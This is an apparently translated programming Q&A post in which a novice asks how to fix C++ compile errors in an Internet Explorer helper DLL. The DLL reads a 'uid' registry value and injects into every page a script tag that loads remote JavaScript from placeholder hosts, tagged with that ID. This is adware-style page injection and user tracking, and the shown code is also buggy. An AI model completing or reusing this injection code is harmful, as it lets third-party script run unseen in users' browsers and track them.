更新
我尝试根据注释将“缓冲区”(DWORD)转换为字符串,但出现以下错误:
错误 3 错误 C2664: 'sprintf' : 无法将参数 1 从 'char' 转换为 'char *'
错误 4 错误 C2110:“+”:无法添加两个指针
这是下面的更新代码,感谢您的帮助,非常感谢所有评论
缓冲区值可以是例如:BDF59E9937973429B3016736D7BECF92
HKEY hKey;
DWORD buffer;
LONG result;
char buffstr;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
RegCloseKey(hKey);
}
sprintf(buffstr, "%lu", ( unsigned long )buffer);
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.url.com' : 'http://www.url.net') + '/script/r.php?uid="+buffstr+"'; html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";
原帖
我已经设法使用 C++ DLL 在 IE 上注入了一个 javascript,但我试图将一个参数(一个名为“uid”的注册表值 REG_SZ 和 64 个字符长)传递给 JS 注入,但它给了我这个错误:
2 IntelliSense: expression must have integral or unscoped enum type
任何建议都非常受欢迎,因为我在 C++ 中处于新手之下
HKEY hKey;
DWORD buffer;
LONG result;
unsigned long type=REG_DWORD, size=1024;
result = RegOpenKeyEx(HKEY_CURRENT_USER,TEXT("SOFTWARE\\softname"),0,KEY_READ,&hKey);
if(result == ERROR_SUCCESS)
{
RegQueryValueEx(hKey,TEXT("uid"),NULL,&type,(LPBYTE)&buffer,&size);
RegCloseKey(hKey);
}
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"'; html_doc.appendChild(_js);}}";
CComBSTR bstrLanguage = L"javascript";
有问题的行是:
CComBSTR bstrScript = L"if (document.getElementsByTagName('head')[0]) { if(!document.getElementById('bho_js')) {var html_doc = document.getElementsByTagName('head')[0]; var _js = document.createElement('script'); _js.setAttribute('type', 'text/javascript'); _js.setAttribute('id', 'bho_js'); _js.src = ('https:' == document.location.protocol ? 'https://www.hostnamehttps.com' : 'http://www.hostnamehttp.net') + '/script/r.php?uid="+buffer+"'; html_doc.appendChild(_js);}}";
由于缓冲区是一个 DWORD,我应该如何声明它能够将它包含在这个 CComBSTR 中?(对不起,如果这听起来微不足道)